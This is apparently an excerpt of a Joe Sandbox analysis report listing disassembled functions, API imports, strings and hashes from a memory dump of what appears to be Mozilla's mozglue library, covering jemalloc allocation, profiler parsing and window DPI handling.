GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9957FF

Strings

LoadCursorW, xrefs: 6C995774
EnableNonClientDpiScaling, xrefs: 6C995666
ShowWindow, xrefs: 6C9956DE
GetDpiForWindow, xrefs: 6C995690
LoadIconW, xrefs: 6C99575B
CreateSolidBrush, xrefs: 6C9957E4
RegisterClassW, xrefs: 6C9956AC
DeleteObject, xrefs: 6C9957F9
user32, xrefs: 6C995601
StretchDIBits, xrefs: 6C9957CC
ReleaseDC, xrefs: 6C995742
GetSystemMetricsForDpi, xrefs: 6C995677
FillRect, xrefs: 6C995729
GetMonitorInfoW, xrefs: 6C9957A2
MonitorFromWindow, xrefs: 6C99578D
AreDpiAwarenessContextsEqual, xrefs: 6C995637
SetWindowPos, xrefs: 6C9956F7
CreateWindowExW, xrefs: 6C9956C5
GetWindowDC, xrefs: 6C995710
SetWindowLongPtrW, xrefs: 6C9957B7
gdi32, xrefs: 6C99560A
GetThreadDpiAwarenessContext, xrefs: 6C99562D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction ID: cb37504565391e647c10d45bd9ae77e411f71fa09c39ec61e38a4211fb38c9b3
Opcode Fuzzy Hash: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction Fuzzy Hash: 4C515878719702BBDB019F768E889373AFCAB4724A7344569F912E2A51EB70C800CF74

Function 6C9934A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9936CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9938BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9939EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EE2

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9961DD
Part of subcall function 6C996180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C99622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9940F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994157

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C996250
Part of subcall function 6C996180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C99484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994896
free.MOZGLUE ref: 6C99489F

Strings

, xrefs: 6C994CD2

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction ID: a80141e8c1041283da6c1b159c71dc6b8d8a6dbf8269f4b6c4ee7051b7bf5371
Opcode Fuzzy Hash: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction Fuzzy Hash: 4DF25A74908B808FC721CF28C08469AFBF1FF99348F158A5ED99997711DB71E896CB42

Function 6C9464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C946505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C946518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C94671C
GetCurrentProcess.KERNEL32 ref: 6C946724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C94672F
GetCurrentProcess.KERNEL32 ref: 6C946759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C946764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C946A80
GetSystemInfo.KERNEL32(?), ref: 6C946ABE
__Init_thread_footer.LIBCMT ref: 6C946AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AF7

Strings

user32.dll, xrefs: 6C946526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C946798
nvd3d9wrap.dll, xrefs: 6C946500
nvdxgiwrap.dll, xrefs: 6C946513
detoured.dll, xrefs: 6C9464DA
_etoured.dll, xrefs: 6C9464ED

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction ID: 3605b48dd3e431b79443c227f5fc9814da9f328e576f23053270656c5524b57a
Opcode Fuzzy Hash: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction Fuzzy Hash: 73F1C5B09056199FDF20CF64CC8879AB7B9AF45318F1482D9E809A7681D771EE84CF90

Function 6C9660A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9660C9
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C96610D
EnterCriticalSection.KERNEL32(?), ref: 6C96618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9661F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C966B6A
MALLOC_OPTIONS, xrefs: 6C966888
MOZ_CRASH(), xrefs: 6C966AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C966BC7, 6C966F97, 6C966FB2
<jemalloc>, xrefs: 6C966AA9, 6C966B59
Compile-time page size does not divide the runtime one., xrefs: 6C966AAE

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 0dcb7e4c80caad515bdb7b438608aba8c59dbe1ce7a02372157b9df938197992
Instruction ID: 61bc6c7c9807778f72c2d2319af0aa48840d37e72d758eec18def914552a1e18
Opcode Fuzzy Hash: 0dcb7e4c80caad515bdb7b438608aba8c59dbe1ce7a02372157b9df938197992
Instruction Fuzzy Hash: ECA2AF71A097019FE704CF2AC590616BBE5FB85718F29C6ADE869DBBD1C771E840CB80

Function 6C99C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C99C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E472

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c55cbe7ff7ff680c4769c3df0ef152855f17cb3b9a2d45a27b48e8b1282de5c3
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 78339C72E0021A8FCB14CFA8C8C06ADBBF6FF49314F288269D955AB755D731E945CB90

Function 6C94FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C950D67, 6C950D7B, 6C950DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4
<jemalloc>, xrefs: 6C950D62, 6C950D76, 6C950DA7

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction ID: b0ed0e24a88459511f54361f70ff1b20d27e35f533510d4b2788f68d65f085b1
Opcode Fuzzy Hash: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction Fuzzy Hash: A0C2E071A057418FD714CF28C48071ABBE5BF86328F68C66DE8AA8B7D5D771E811CB81

Function 6C99E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C99E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C99F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9A0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9A0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0ED4

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction ID: 83f33cdf636b9c575333a58d453c8553eb7c69c79382281d3ad1e6d51ed41d30
Opcode Fuzzy Hash: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction Fuzzy Hash: 93636F71E0025ACFCB14CFA8C8905EDFBB2FF89314F298269D855AB755D730A946CB90

Function 6C973E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C997770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C973E7D,?,?,?,6C973E7D,?,?), ref: 6C99777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C973F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C973F5C
VerSetConditionMask.NTDLL ref: 6C973F8D
VerSetConditionMask.NTDLL ref: 6C973F99
VerSetConditionMask.NTDLL ref: 6C973FA0
VerSetConditionMask.NTDLL ref: 6C973FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C973FB4

Strings

nvinit.dll, xrefs: 6C974479
nvd3d9wrap.dll, xrefs: 6C974466

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction ID: 89ccc75f41543da3e5db6ac3e4795555496859cd805f45b06b913819db2b9e2f
Opcode Fuzzy Hash: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction Fuzzy Hash: B0520472610B889FD715DF74C880AAB77FAAF65304F54492DD8968BB42CB34F909CB60

Function 6C95ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C95EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C95EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C961695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9616B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C961770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C961A3E

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction ID: 7811663365535f96157f7ffc8ff0bc0eece8c14008e0c976d58da83abebd8693
Opcode Fuzzy Hash: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction Fuzzy Hash: 59B32B71E0021ACFDB14CFA9C890AADB7B2FF49314F5581A9D449ABB85D730AD85CF90

Function 6C94FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

MOZ_CRASH(), xrefs: 6C950CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4, 6C951A10

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction ID: b209604a58f3d67b801b332873f33ee7a692ba75c099e375348f5db645ac9573
Opcode Fuzzy Hash: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction Fuzzy Hash: 38B2BE716097418FD718CF29C5D0716BBE5BF86328F68C6ACE86A8BB95D770E850CB40

Function 6C985600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C986131
expected a Count entry, xrefs: 6C985AC3
ProfileBuffer parse error: %s, xrefs: 6C985AC8, 6C985CBB
schema, xrefs: 6C98606D
expected a Time entry, xrefs: 6C985CB6
name, xrefs: 6C985E79, 6C985E8F

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction ID: 73cc973e9964e6f9b13aaefb69cc7dc6500c641355d7f6107e76976f65eefd08
Opcode Fuzzy Hash: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction Fuzzy Hash: D7925BB16093418FD724CF28C490B9AB7E1BFD9308F548D1DE99A9B751DB30E909CB92

Function 6C982E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C982ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C982EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C982F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C983214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C983242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9836BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C98378D
get , xrefs: 6C983205
set , xrefs: 6C9836EC

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c067448cb84b20de973b4c7d3e89f4879e36d704e29bd7687853d7b9fa6fc4b
Instruction ID: 4d23939bb30cb0787be0eb77c2d2e78d26c78b55d40c1d9c01c740e7fcbf3f68
Opcode Fuzzy Hash: 3c067448cb84b20de973b4c7d3e89f4879e36d704e29bd7687853d7b9fa6fc4b
Instruction Fuzzy Hash: 4E325BB42093819FD724CF24C0906AEBBE6BFD9318F548C1DE99987751DB30E94ACB52

Function 6C977E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C978280, 6C9783E1
(pre-xul), xrefs: 6C977E88
schema, xrefs: 6C9781E3, 6C978311
name, xrefs: 6C977ECF, 6C978335

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction ID: ba1de9795a454a5cd90d0fc0205346c78ec0c3eaf6fa11316a77cb28174bcb05
Opcode Fuzzy Hash: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction Fuzzy Hash: EDE16EB1A043509BC714CF68C84065BFBEAFFA5714F148A2DE899E7790DB70DD098B91

Function 6C95D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D52E
